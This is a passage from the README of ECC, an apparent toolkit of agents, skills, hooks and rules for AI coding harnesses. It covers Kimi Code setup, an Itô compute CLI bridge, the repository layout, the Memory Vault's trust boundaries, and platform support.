width=\"33%\"> <a href=\"https://compute.itomarkets.com\"> \n     \n      <source media=\"(prefers-color-scheme: light)\" />\n      <img alt=\"It\u00f4 Markets\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/ito-transparent.png\" width=\"92\" />\n     <br /> <strong>1. Get GPU capacity</strong> </a><br /> <sub>Use It\u00f4 or any GPU provider.</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://www.moonshot.ai\"> \n     \n      <source media=\"(prefers-color-scheme: dark)\" />\n      <img alt=\"Moonshot AI - Kimi\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/sponsors/moonshot.png\" width=\"126\" />\n     <br /> <strong>2. Serve Kimi</strong> </a><br /> <sub>Expose the chosen checkpoint through a compatible endpoint.</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/.kimi/README.md\"> <img alt=\"ECC Tools\" height=\"52\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/community/ecc-tools-mark.svg?sanitize=true\" /><br /> <strong>3. Run Kimi Code with ECC</strong> </a><br /> <sub>Install project instructions and skills, then start Kimi Code.</sub> </td> \n  </tr> \n </tbody>\n</table> \n<p>Configure the endpoint with Kimi Code's <a href=\"https://moonshotai.github.io/kimi-cli/en/configuration/providers.html\">official provider guide</a>, then install ECC:</p> \n<pre><code class=\"language-bash\">bash ./install.sh --target kimi --profile minimal\nnode scripts/ecc.js doctor --target kimi\nkimi\n</code></pre> \n<p>Kimi Code discovers the installed <code>.kimi-code/AGENTS.md</code> instructions and <code>.kimi-code/skills/</code> workflows natively; project-level <code>.agents/skills/</code> is also an official discovery location. ECC safely merges project MCP entries into <code>.kimi-code/mcp.json</code> and does not change the user-level <code>~/.kimi-code/config.toml</code>. Kimi Code supports native hooks, but ECC's current managed-project adapter does not configure them, so this installer does not offer Kimi hook profiles. The installer dry-run and regression suite verify that every managed Kimi write stays inside the project-local <code>.kimi-code/</code> root.</p> \n<h3>It\u00f4 compute CLI bridge</h3> \n<p><code>ecc ito</code> delegates to the separately installed canonical It\u00f4 client; ECC does not maintain a second API client. <code>ecc ito login [--no-browser]</code> performs device authorization, opens the It\u00f4 verification page by default, and persists a device token in macOS Keychain; <code>--no-browser</code> suppresses the page handoff. ECC itself does no browser automation. <code>ecc ito auth</code> is validation-only and rejects <code>--no-browser</code>. The available operations are <code>ecc ito login</code>, <code>ecc ito auth</code>, <code>ecc ito find</code>, <code>ecc ito status</code>, and the separately gated <code>ecc ito evals</code>. The matching MCP tools remain <code>ito_auth</code>, <code>ito_find</code>, and <code>ito_status</code>; <code>ito_auth</code> validates existing credentials and node qualification is CLI-only.</p> \n<p>The <code>ito-compute-cli</code> package is currently unpublished. Build it locally from the It\u00f4 runtime repo (private while the desk hardens; design partners get access) under <code>cli/ito-compute-cli</code>, run <code>npm ci</code> and <code>npm run check</code>, then set <code>ECC_ITO_CLI_EXECUTABLE</code> to that build's absolute <code>dist/bin/ito.js</code> path. Login never inherits <code>ITO_API_KEY</code>; auth, find, and status forward <code>ITO_API_KEY</code> directly when configured, and <code>ITO_AUTH_MODE=legacy</code> is not required. <code>ecc ito logout</code> revokes the current device credential and retains its local copy if remote revocation cannot be confirmed. Device tokens use macOS Keychain by default; explicit file fallback must retain owner-only directory/file permissions. ECC does not discover this credential-bearing client through <code>PATH</code>. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/skills/ito-compute/SKILL.md\"><code>ito-compute</code> skill</a> for the full RFQ authority and MCP setup contract.</p> \n<p><code>find</code> submits a live authenticated RFQ. It does not reserve capacity. <code>evals</code> requires both <code>ITO_ENABLE_SIXTYTWO_LIVE=1</code> and <code>--live-sixtytwo</code>, a separately installed <code>sixtytwo-cli==0.3.33</code>, an explicit node list, and an existing absolute configuration directory. It cannot rent, launch, recover, repair, or purchase. ECC exposes no quote lock, purchase, workload, or inference path, and it never replaces a missing client or failed live call with a local result.</p> \n<h2>What's New</h2> \n<p>Current release: <strong>2.2.3</strong> (2026-10-01). Highlights of the 2.2 line:</p> \n<ul> \n <li>Guided, manifest-driven setup across Claude Code, Codex, and Kimi Code, with install-state ownership, doctor, repair, and uninstall.</li> \n <li>Native Antigravity install, a thin Pi adapter, and the packed-artifact release gate tested on Linux, macOS, and Windows.</li> \n <li>Plan Canvas browser review, the unified memory vault (<code>ecc memory</code>), and the It\u00f4 compute skill family.</li> \n</ul> \n<p>Full history: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/CHANGELOG.md\">CHANGELOG.md</a>. Per-release notes and evidence live under <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/\">docs/releases/</a>.</p> \n<h3>v2.0.0: The Agent Harness Operating System (Jun 2026)</h3> \n<p>Stable graduation of the 2.0 line: control-pane substrate, worktree lifecycle service, the <code>orch-*</code> orchestrator family, and the Discord community. Notes: <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/releases/2.0.0/release-notes.md\">docs/releases/2.0.0/release-notes.md</a>.</p> \n<h2>What's Inside</h2> \n<pre><code class=\"language-text\">ECC/\n|-- agents/           # 71 specialized subagents for delegation\n|-- skills/           # 311 reusable workflows loaded on demand\n|-- commands/         # 97 maintained slash-command shims\n|-- rules/            # opt-in common and language standards\n|-- hooks/            # runtime automation and enforcement\n|-- scripts/          # install, repair, sync, orchestration, and checks\n|-- .claude-plugin/   # Claude Code marketplace manifest\n|-- .codex/           # Codex reference configuration and agent roles\n|-- .opencode/        # OpenCode plugin, commands, and instructions\n|-- .cursor/          # Cursor rules and hook adapter\n|-- docs/             # public setup, architecture, and operating guides\n</code></pre> \n<p>The root is the source of truth. Platform adapters package or map these same workflows instead of maintaining separate copies.</p> \n<details> \n <strong>Annotated component catalog</strong> \n <pre><code>ECC/\n|-- .claude-plugin/   # Plugin and marketplace manifests\n|   |-- plugin.json         # Plugin metadata and component paths\n|   |-- marketplace.json    # Marketplace catalog for /plugin marketplace add\n|\n|-- agents/           # 71 specialized subagents for delegation\n|   |-- planner.md           # Feature implementation planning\n|   |-- architect.md         # System design decisions\n|   |-- tdd-guide.md         # Test-driven development\n|   |-- code-reviewer.md     # Quality and security review\n|   |-- security-reviewer.md # Vulnerability analysis\n|   |-- build-error-resolver.md\n|   |-- e2e-runner.md        # Playwright E2E testing\n|   |-- refactor-cleaner.md  # Dead code cleanup\n|   |-- doc-updater.md       # Documentation sync\n|   |-- docs-lookup.md       # Documentation/API lookup\n|   |-- chief-of-staff.md    # Communication triage and drafts\n|   |-- loop-operator.md     # Autonomous loop execution\n|   |-- harness-optimizer.md # Harness config tuning\n|   |-- cpp-reviewer.md      # C++ code review\n|   |-- cpp-build-resolver.md # C++ build error resolution\n|   |-- fsharp-reviewer.md   # F# functional code review\n|   |-- go-reviewer.md       # Go code review\n|   |-- go-build-resolver.md # Go build error resolution\n|   |-- python-reviewer.md   # Python code review\n|   |-- database-reviewer.md # Database/Supabase review\n|   |-- typescript-reviewer.md # TypeScript/JavaScript code review\n|   |-- java-reviewer.md     # Java/Spring Boot code review\n|   |-- java-build-resolver.md # Java/Maven/Gradle build errors\n|   |-- kotlin-reviewer.md   # Kotlin/Android/KMP code review\n|   |-- kotlin-build-resolver.md # Kotlin/Gradle build errors\n|   |-- harmonyos-app-resolver.md # HarmonyOS/ArkTS app development\n|   |-- ruby-reviewer.md     # Ruby/Rails code review\n|   |-- rust-reviewer.md     # Rust code review\n|   |-- rust-build-resolver.md # Rust build error resolution\n|   |-- pytorch-build-resolver.md # PyTorch/CUDA training errors\n|   |-- mle-reviewer.md      # Production ML pipeline, eval, serving, and monitoring review\n|\n|-- skills/           # Workflow definitions and domain knowledge\n|   |-- coding-standards/           # Language best practices\n|   |-- clickhouse-io/              # ClickHouse analytics, queries, data engineering\n|   |-- backend-patterns/           # API, database, caching patterns\n|   |-- frontend-patterns/          # React, Next.js patterns\n|   |-- frontend-slides/            # HTML slide decks and PPTX-to-web presentation workflows\n|   |-- article-writing/            # Long-form writing in a supplied voice without generic AI tone\n|   |-- content-engine/             # Multi-platform social content and repurposing workflows\n|   |-- market-research/            # Source-attributed market, competitor, and investor research\n|   |-- osint-investigation/        # OSINT methodology: competing hypotheses, falsification, visual and evidence verification\n|   |-- investor-materials/         # Pitch decks, one-pagers, memos, and financial models\n|   |-- investor-outreach/          # Personalized fundraising outreach and follow-up\n|   |-- continuous-learning/        # Legacy v1 Stop-hook pattern extraction\n|   |-- continuous-learning-v2/     # Instinct-based learning with confidence scoring\n|   |-- iterative-retrieval/        # Progressive context refinement for subagents\n|   |-- strategic-compact/          # Manual compaction suggestions (Longform Guide)\n|   |-- tdd-workflow/               # TDD methodology\n|   |-- security-review/            # Security checklist\n|   |-- eval-harness/               # Verification loop evaluation (Longform Guide)\n|   |-- verification-loop/          # Continuous verification (Longform Guide)\n|   |-- videodb/                    # Video and audio: ingest, search, edit, generate, stream\n|   |-- golang-patterns/            # Go idioms and best practices\n|   |-- golang-testing/             # Go testing patterns, TDD, benchmarks\n|   |-- cpp-coding-standards/       # C++ coding standards from C++ Core Guidelines\n|   |-- cpp-testing/                # C++ testing with GoogleTest, CMake/CTest\n|   |-- django-patterns/            # Django patterns, models, views\n|   |-- django-security/            # Django security best practices\n|   |-- django-tdd/                 # Django TDD workflow\n|   |-- django-verification/        # Django verification loops\n|   |-- laravel-patterns/           # Laravel architecture patterns\n|   |-- laravel-security/           # Laravel security best practices\n|   |-- laravel-tdd/                # Laravel TDD workflow\n|   |-- laravel-verification/       # Laravel verification loops\n|   |-- python-patterns/            # Python idioms and best practices\n|   |-- python-testing/             # Python testing with pytest\n|   |-- quarkus-patterns/           # Java Quarkus patterns\n|   |-- quarkus-security/           # Quarkus security\n|   |-- quarkus-tdd/                # Quarkus TDD\n|   |-- quarkus-verification/       # Quarkus verification\n|   |-- rails-patterns/             # Rails architecture patterns\n|   |-- springboot-patterns/        # Java Spring Boot patterns\n|   |-- springboot-security/        # Spring Boot security\n|   |-- springboot-tdd/             # Spring Boot TDD\n|   |-- springboot-verification/    # Spring Boot verification\n|   |-- configure-ecc/              # Interactive installation wizard\n|   |-- security-scan/              # AgentShield security auditor integration\n|   |-- java-coding-standards/      # Java coding standards\n|   |-- jpa-patterns/               # JPA/Hibernate patterns\n|   |-- postgres-patterns/          # PostgreSQL optimization patterns\n|   |-- nutrient-document-processing/ # Document processing with Nutrient API\n|   |-- database-migrations/        # Migration patterns (Prisma, Drizzle, Django, Go)\n|   |-- api-design/                 # REST API design, pagination, error responses\n|   |-- deployment-patterns/        # CI/CD, Docker, health checks, rollbacks\n|   |-- docker-patterns/            # Docker Compose, networking, volumes, container security\n|   |-- e2e-testing/                # Playwright E2E patterns and Page Object Model\n|   |-- content-hash-cache-pattern/ # SHA-256 content hash caching for file processing\n|   |-- cost-aware-llm-pipeline/    # LLM cost optimization, model routing, budget tracking\n|   |-- regex-vs-llm-structured-text/ # Decision framework: regex vs LLM for text parsing\n|   |-- swift-actor-persistence/    # Thread-safe Swift data persistence with actors\n|   |-- swift-protocol-di-testing/  # Protocol-based DI for testable Swift code\n|   |-- search-first/               # Research-before-coding workflow\n|   |-- skill-stocktake/            # Audit skills and commands for quality\n|   |-- liquid-glass-design/        # iOS 26 Liquid Glass design system\n|   |-- foundation-models-on-device/ # Apple on-device LLM with FoundationModels\n|   |-- swift-concurrency-6-2/      # Swift 6.2 Approachable Concurrency\n|   |-- mle-workflow/               # Production ML data contracts, evals, deployment, monitoring\n|   |-- perl-patterns/              # Modern Perl 5.36+ idioms and best practices\n|   |-- perl-security/              # Perl security patterns, taint mode, safe I/O\n|   |-- perl-testing/               # Perl TDD with Test2::V0, prove, Devel::Cover\n|   |-- autonomous-loops/           # Autonomous loop patterns: sequential pipelines, PR loops, DAG orchestration\n|   |-- plankton-code-quality/      # Write-time code quality enforcement with Plankton hooks\n|   |-- codehealth-mcp/             # Optional CodeScene Code Health MCP skill (opt-in)\n|   |-- docs/examples/project-guidelines-template.md  # Template for project-specific skills\n|\n|-- commands/         # Maintained slash-entry compatibility; prefer skills/\n|   |-- plan.md             # /plan - Implementation planning\n|   |-- code-review.md      # /code-review - Quality review\n|   |-- build-fix.md        # /build-fix - Fix build errors\n|   |-- refactor-clean.md   # /refactor-clean - Dead code removal\n|   |-- quality-gate.md     # /quality-gate - Verification gate\n|   |-- learn.md            # /learn - Extract patterns mid-session (Longform Guide)\n|   |-- learn-eval.md       # /learn-eval - Extract, evaluate, and save patterns\n|   |-- checkpoint.md       # /checkpoint - Save verification state (Longform Guide)\n|   |-- setup-pm.md         # /setup-pm - Configure package manager\n|   |-- go-review.md        # /go-review - Go code review\n|   |-- go-test.md          # /go-test - Go TDD workflow\n|   |-- go-build.md         # /go-build - Fix Go build errors\n|   |-- skill-create.md     # /skill-create - Generate skills from git history\n|   |-- instinct-status.md  # /instinct-status - View learned instincts\n|   |-- instinct-import.md  # /instinct-import - Import instincts\n|   |-- instinct-export.md  # /instinct-export - Export instincts\n|   |-- evolve.md           # /evolve - Cluster instincts into skills\n|   |-- prune.md            # /prune - Delete expired pending instincts\n|   |-- pm2.md              # /pm2 - PM2 service lifecycle management\n|   |-- multi-plan.md       # /multi-plan - Multi-agent task decomposition\n|   |-- multi-execute.md    # /multi-execute - Orchestrated multi-agent workflows\n|   |-- multi-backend.md    # /multi-backend - Backend multi-service orchestration\n|   |-- multi-frontend.md   # /multi-frontend - Frontend multi-service orchestration\n|   |-- multi-workflow.md   # /multi-workflow - General multi-service workflows\n|   |-- sessions.md         # /sessions - Session history management\n|   |-- test-coverage.md    # /test-coverage - Test coverage analysis\n|   |-- update-docs.md      # /update-docs - Update documentation\n|   |-- update-codemaps.md  # /update-codemaps - Update codemaps\n|   |-- python-review.md    # /python-review - Python code review\n|-- legacy-command-shims/   # Opt-in archive for retired shims such as /tdd and /eval\n|   |-- tdd.md              # /tdd - Prefer the tdd-workflow skill\n|   |-- e2e.md              # /e2e - Prefer the e2e-testing skill\n|   |-- eval.md             # /eval - Prefer the eval-harness skill\n|   |-- verify.md           # /verify - Prefer the verification-loop skill\n|   |-- orchestrate.md      # /orchestrate - Prefer dmux-workflows or multi-workflow\n|\n|-- rules/            # Always-follow guidelines (copy to ~/.claude/rules/ecc/)\n|   |-- README.md            # Structure overview and installation guide\n|   |-- common/              # Language-agnostic principles\n|   |   |-- coding-style.md    # Immutability, file organization\n|   |   |-- git-workflow.md    # Commit format, PR process\n|   |   |-- testing.md         # TDD, 80% coverage requirement\n|   |   |-- performance.md     # Model selection, context management\n|   |   |-- patterns.md        # Design patterns, skeleton projects\n|   |   |-- hooks.md           # Hook architecture, TodoWrite\n|   |   |-- agents.md          # When to delegate to subagents\n|   |   |-- security.md        # Mandatory security checks\n|   |-- typescript/          # TypeScript/JavaScript specific\n|   |-- python/              # Python specific\n|   |-- golang/              # Go specific\n|   |-- swift/               # Swift specific\n|   |-- php/                 # PHP specific\n|   |-- arkts/               # HarmonyOS / ArkTS specific\n|\n|-- hooks/            # Trigger-based automations\n|   |-- README.md                 # Hook documentation, recipes, and customization guide\n|   |-- hooks.json                # All hooks config (PreToolUse, PostToolUse, Stop, etc.)\n|   |-- memory-persistence/       # Session lifecycle hooks (Longform Guide)\n|   |-- strategic-compact/        # Compaction suggestions (Longform Guide)\n|\n|-- scripts/          # Cross-platform Node.js scripts\n|   |-- lib/                     # Shared utilities\n|   |   |-- utils.js             # Cross-platform file/path/system utilities\n|   |   |-- package-manager.js   # Package manager detection and selection\n|   |-- hooks/                   # Hook implementations\n|   |   |-- session-start.js     # Load context on session start\n|   |   |-- session-end.js       # Save state on session end\n|   |   |-- pre-compact.js       # Pre-compaction state saving\n|   |   |-- suggest-compact.js   # Strategic compaction suggestions\n|   |   |-- evaluate-session.js  # Extract patterns from sessions\n|   |-- setup-package-manager.js # Interactive PM setup\n|\n|-- tests/            # Test suite\n|   |-- lib/                     # Library tests\n|   |-- hooks/                   # Hook tests\n|   |-- run-all.js               # Run all tests\n|\n|-- contexts/         # Dynamic system prompt injection contexts (Longform Guide)\n|   |-- dev.md              # Development mode context\n|   |-- review.md           # Code review mode context\n|   |-- research.md         # Research/exploration mode context\n|\n|-- examples/         # Example configurations and sessions\n|   |-- CLAUDE.md             # Example project-level config\n|   |-- user-CLAUDE.md        # Example user-level config\n|   |-- saas-nextjs-CLAUDE.md   # Real-world SaaS (Next.js + Supabase + Stripe)\n|   |-- go-microservice-CLAUDE.md # Real-world Go microservice (gRPC + PostgreSQL)\n|   |-- django-api-CLAUDE.md      # Real-world Django REST API (DRF + Celery)\n|   |-- laravel-api-CLAUDE.md     # Real-world Laravel API (PostgreSQL + Redis)\n|   |-- rust-api-CLAUDE.md        # Real-world Rust API (Axum + SQLx + PostgreSQL)\n|\n|-- mcp-configs/      # MCP server configurations\n|   |-- mcp-servers.json    # GitHub, Supabase, Vercel, Railway, etc.\n|\n|-- ecc_dashboard.py  # Desktop GUI dashboard (Tkinter)\n|\n|-- marketplace.json  # Self-hosted marketplace config (for /plugin marketplace add)\n</code></pre> \n</details> \n<details> \n <strong>Dashboard GUI</strong> \n <p>Launch the desktop dashboard to visually explore ECC components:</p> \n <pre><code class=\"language-bash\">npm run dashboard\n# or\npython3 ./ecc_dashboard.py\n</code></pre> \n <p><strong>Features:</strong></p> \n <ul> \n  <li>Tabbed interface: Agents, Skills, Commands, Rules, Settings</li> \n  <li>Dark/Light theme toggle</li> \n  <li>Font customization (family and size)</li> \n  <li>Project logo in header and taskbar</li> \n  <li>Search and filter across all components</li> \n </ul> \n</details> \n<h2>Key Concepts</h2> \n<details> \n <strong>Agents, skills, hooks, and rules explained</strong> \n <h3>Agents</h3> \n <p>Subagents handle delegated tasks with limited scope. Example:</p> \n <pre><code class=\"language-markdown\">---\nname: code-reviewer\ndescription: Reviews code for quality, security, and maintainability\ntools: Read, Grep, Glob, Bash\nmodel: opus\n---\n\nYou are a senior code reviewer...\n</code></pre> \n <h3>Skills</h3> \n <p>Skills are the primary workflow surface. They can be invoked directly, suggested automatically, and reused by agents. ECC still ships maintained <code>commands/</code> during migration, while retired short-name shims live under <code>legacy-command-shims/</code> for explicit opt-in only. New workflow development should land in <code>skills/</code> first.</p> \n <pre><code class=\"language-markdown\"># TDD Workflow\n\n1. Define interfaces first\n2. Write failing tests (RED)\n3. Implement minimal code (GREEN)\n4. Refactor (IMPROVE)\n5. Verify 80%+ coverage\n</code></pre> \n <h3>Hooks</h3> \n <p>Hooks fire on tool events. Example: warn about console.log:</p> \n <pre><code class=\"language-json\">{\n  \"matcher\": \"tool == \\\"Edit\\\" &amp;&amp; tool_input.file_path matches \\\"\\\\\\\\.(ts|tsx|js|jsx)$\\\"\",\n  \"hooks\": [{\n    \"type\": \"command\",\n    \"command\": \"#!/bin/bash\\ngrep -n 'console\\\\.log' \\\"$file_path\\\" &amp;&amp; echo '[Hook] Remove console.log' &gt;&amp;2\"\n  }]\n}\n</code></pre> \n <h3>Rules</h3> \n <p>Rules are always-follow guidelines, organized into <code>common/</code> (language-agnostic) + language-specific directories:</p> \n <pre><code>rules/\n  common/          # Universal principles (always install)\n  typescript/      # TS/JS specific patterns and tools\n  python/          # Python specific patterns and tools\n  golang/          # Go specific patterns and tools\n  swift/           # Swift specific patterns and tools\n  php/             # PHP specific patterns and tools\n  arkts/           # HarmonyOS / ArkTS patterns and constraints\n</code></pre> \n <p>See <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/rules/README.md\"><code>rules/README.md</code></a> for installation and structure details.</p> \n</details> \n<h2>Guides</h2> \n<p>This repo is the raw code. The guides explain everything.</p> \n<table width=\"100%\"> \n <tbody>\n  <tr> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-shortform-guide.md\"> <img alt=\"The Shorthand Guide to ECC\" height=\"120\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/shorthand-guide.png\" width=\"213\" /><br /> <strong>The Shorthand Guide</strong> </a> <br /><sub>Setup, foundations, and day-one use. <b>Read this first.</b> (<a href=\"https://x.com/affaan/status/2012378465664745795\">thread</a>)</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-longform-guide.md\"> <img alt=\"The Longform Guide to ECC\" height=\"120\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/longform-guide.png\" width=\"213\" /><br /> <strong>The Longform Guide</strong> </a> <br /><sub>Context economics, memory, evals, and parallel agents. (<a href=\"https://x.com/affaan/status/2014040193557471352\">thread</a>)</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-security-guide.md\"> <img alt=\"The Security Guide to ECC\" height=\"120\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/security-guide.png\" width=\"213\" /><br /> <strong>The Security Guide</strong> </a> <br /><sub>Prompt injection, hooks, MCP, and AgentShield. (<a href=\"https://x.com/affaan/status/2033263813387223421\">thread</a>)</sub> </td> \n  </tr> \n </tbody>\n</table> \n<table> \n <thead> \n  <tr> \n   <th>Topic</th> \n   <th>What You'll Learn</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Token Optimization</td> \n   <td>Model selection, system prompt slimming, background processes</td> \n  </tr> \n  <tr> \n   <td>Memory Persistence</td> \n   <td>Hooks that save/load context across sessions automatically</td> \n  </tr> \n  <tr> \n   <td>Continuous Learning</td> \n   <td>Auto-extract patterns from sessions into reusable skills</td> \n  </tr> \n  <tr> \n   <td>Verification Loops</td> \n   <td>Checkpoint vs continuous evals, grader types, pass@k metrics</td> \n  </tr> \n  <tr> \n   <td>Parallelization</td> \n   <td>Git worktrees, cascade method, when to scale instances</td> \n  </tr> \n  <tr> \n   <td>Subagent Orchestration</td> \n   <td>The context problem, iterative retrieval pattern</td> \n  </tr> \n </tbody> \n</table> \n<p><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/COMMANDS-QUICK-REF.md\">Commands Quick Reference</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MANUAL-ADAPTATION-GUIDE.md\">Manual Adaptation Guide</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ASTRA-REVIEW-GUIDE.md\">Astra Review Guide</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/TROUBLESHOOTING.md\">Troubleshooting FAQ</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ROADMAP.md\">Roadmap</a></p> \n<h2>Why Choose ECC?</h2> \n<table> \n <thead> \n  <tr> \n   <th>Without a system</th> \n   <th>With ECC</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Plans disappear into chat history</td> \n   <td>Plans become editable artifacts before implementation starts</td> \n  </tr> \n  <tr> \n   <td>\"Please use TDD\" is an instruction the model may forget</td> \n   <td>TDD becomes a gated RED -&gt; GREEN -&gt; REFACTOR workflow with evidence</td> \n  </tr> \n  <tr> \n   <td>The same context writes and reviews the code</td> \n   <td>A fresh-context reviewer looks for regressions and blind spots</td> \n  </tr> \n  <tr> \n   <td>Memory means saving an enormous transcript</td> \n   <td>Sessions are distilled into summaries, instincts, and reusable skills</td> \n  </tr> \n  <tr> \n   <td>Quality checks depend on reminders</td> \n   <td>Hooks can enforce deterministic checks outside the prompt</td> \n  </tr> \n  <tr> \n   <td>Agent configuration is trusted by default</td> \n   <td>AgentShield scans the harness itself as an attack surface</td> \n  </tr> \n </tbody> \n</table> \n<h3>TDD: Test-Driven Development</h3> \n<pre><code class=\"language-text\">/ecc:plan \"Add usage-based billing alerts\"\n  -&gt; confirm or edit the plan\n  -&gt; activate tdd-workflow\n  -&gt; capture RED evidence before implementation\n  -&gt; implement until GREEN\n  -&gt; review from fresh context\n  -&gt; fix findings with regression tests\n  -&gt; verify build, lint, types, and tests\n</code></pre> \n<p>A result is not just code. It's a trail of evidence: the plan, the failing test, the passing test, the review findings, and the final verification.</p> \n<h3>Skills keep the context focused</h3> \n<p>Rules, skills, agents, and hooks solve different problems. Keeping those jobs separate is how ECC adds capability without dumping the entire repository into every session.</p> \n<table> \n <thead> \n  <tr> \n   <th>Concept</th> \n   <th>What it does</th> \n   <th>Context behavior</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Skills</td> \n   <td>Reusable workflows such as TDD, security review, or deep research</td> \n   <td>Loaded when the task needs them</td> \n  </tr> \n  <tr> \n   <td>Agents</td> \n   <td>Scoped workers with their own context and tool permissions</td> \n   <td>Isolate planning, implementation, and review</td> \n  </tr> \n  <tr> \n   <td>Rules</td> \n   <td>Durable project or language standards</td> \n   <td>Always loaded, so install them selectively</td> \n  </tr> \n  <tr> \n   <td>Hooks</td> \n   <td>Scripts triggered by harness events</td> \n   <td>Run outside the model context</td> \n  </tr> \n  <tr> \n   <td>Instincts</td> \n   <td>Patterns learned from real sessions with confidence scores</td> \n   <td>Recalled when relevant</td> \n  </tr> \n </tbody> \n</table> \n<h3>Share context between harnesses</h3> \n<p>ECC's Memory Vault gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. Project and team memories live under <code>.ecc/memory/</code>; user memories live under <code>~/.ecc/memory/</code>.</p> \n<p>Skill-only, minimal, manual, and Claude plugin installs do not put the Memory Vault runtime on <code>PATH</code>. Install the npm runtime separately before using the CLI or optional MCP server:</p> \n<pre><code class=\"language-bash\">npm install -g ecc-universal@2.2.3\necc memory init --scope project\necc memory search \"authentication migration\" --target-harness codex\necc memory doctor\n</code></pre> \n<p>Memory is unreviewed context, not executable policy. Verify important claims against authoritative sources and promote accepted knowledge into governed project documentation. The optional <code>ecc-memory-mcp</code> server exposes the same bounded save, search, read, and doctor surface without enabling itself by default.</p> \n<p><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/skills/unified-memory/SKILL.md\">Open the Unified Memory workflow \u2192</a></p> \n<details> \n <strong>Memory Vault in depth: scopes, handoffs, and trust boundaries</strong> \n <p>The Memory Vault stores portable <code>ecc.memory.v1</code> Markdown documents instead of copying vendor transcripts or emailing context between agents. Project memories are protected by a fail-closed <code>.gitignore</code>; use the team scope only for human-inspected, version-controlled sharing. Team memories remain unreviewed context even after they are committed.</p> \n <p>After installing the runtime above, check that the CLI and optional MCP entry point are available:</p> \n <pre><code class=\"language-bash\">ecc memory --help\ncommand -v ecc-memory-mcp\n</code></pre> \n <pre><code class=\"language-bash\"># Initialize the project vault.\necc memory init --scope project\n\n# Write a handoff body to a regular file, then target the next harness.\necc memory handoff \\\n  --from hermes \\\n  --target codex \\\n  --title \"Continue authentication migration\" \\\n  --body-file ./handoff.md\n\n# Recall it from another harness.\necc memory search \"authentication migration\" --target-harness codex\necc memory read &lt;memory-id&gt;\n\n# Validate the vault before sharing team memories.\necc memory doctor\n</code></pre> \n <p>Memory bodies are accepted only through <code>--stdin</code> or <code>--body-file</code>, not as command-line values. The first release keeps every vault entry unreviewed and create-only; human review promotes accepted knowledge into governed project documentation rather than changing memory trust. Normal search recall returns active project and team memories. A direct ID read may inspect a non-active entry. User-scope recall must be requested explicitly. Agents must verify important claims against authoritative sources and must never treat recalled bodies as executable instructions or policy.</p> \n <p>For opt-in MCP access, add the <code>ecc-memory-vault</code> entry from <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/mcp-configs/mcp-servers.json\"><code>mcp-configs/mcp-servers.json</code></a> to each harness that needs it, then run <code>ecc-memory-mcp</code>. The server exposes only <code>memory_save</code>, <code>memory_search</code>, <code>memory_read</code>, and <code>memory_doctor</code>. Each server must launch with a lowercase <code>ECC_MEMORY_HARNESS</code> identity; the identity is server-bound and cannot be supplied by a tool caller. User scope additionally requires the operator-controlled <code>ECC_MEMORY_ALLOW_USER_SCOPE=1</code> opt-in. See <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/skills/unified-memory/SKILL.md\"><code>skills/unified-memory/SKILL.md</code></a> for the workflow and trust boundaries, and <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/design/ecc-memory-vault.md\"><code>docs/design/ecc-memory-vault.md</code></a> for the capability contract.</p> \n</details> \n<h2>Platform Support</h2> \n<p>ECC's core Node.js CLI and managed installers run on <strong>Windows, macOS, and Linux</strong>, but optional capabilities are not at full parity. Some continuous-learning, GAN, and orchestration paths still require Bash or Python; harnesses also expose different hook, agent, and skill APIs.</p> \n<table> \n <thead> \n  <tr> \n   <th>Platform</th> \n   <th>Status</th> \n   <th>Current limitation</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Linux</td> \n   <td>Supported core</td> \n   <td>Optional features may require Bash, Python, or provider-specific tools.</td> \n  </tr> \n  <tr> \n   <td>macOS</td> \n   <td>Supported core</td> \n   <td>The standalone GAN shell path is not compatible with the system Bash 3.2 and currently has a score-parsing defect (<a href=\"https://github.com/affaan-m/ECC/issues/2674\">#2674</a>).</td> \n  </tr> \n  <tr> \n   <td>Windows + WSL</td> \n   <td>Supported core</td> \n   <td>WSL follows the Linux paths; Windows host integrations still vary by harness.</td> \n  </tr> \n  <tr> \n   <td>Windows native</td> \n   <td>Supported with limitations</td> \n   <td>Continuous-learning v2's observer daemon and memory-vault writes have open native-Windows defects (<a href=\"https://github.com/affaan-m/ECC/issues/2489\">#2489</a>, <a href=\"https://github.com/affaan-m/ECC/issues/2626\">#2626</a>). Shell-backed optional features require Git Bash/WSL or are unavailable.</td> \n  </tr> \n </tbody> \n</table> \n<p>Treat <code>stable</code>, <code>beta</code>, <code>experimental</code>, and <code>instruction-only</code> below as capability statements, not marketing 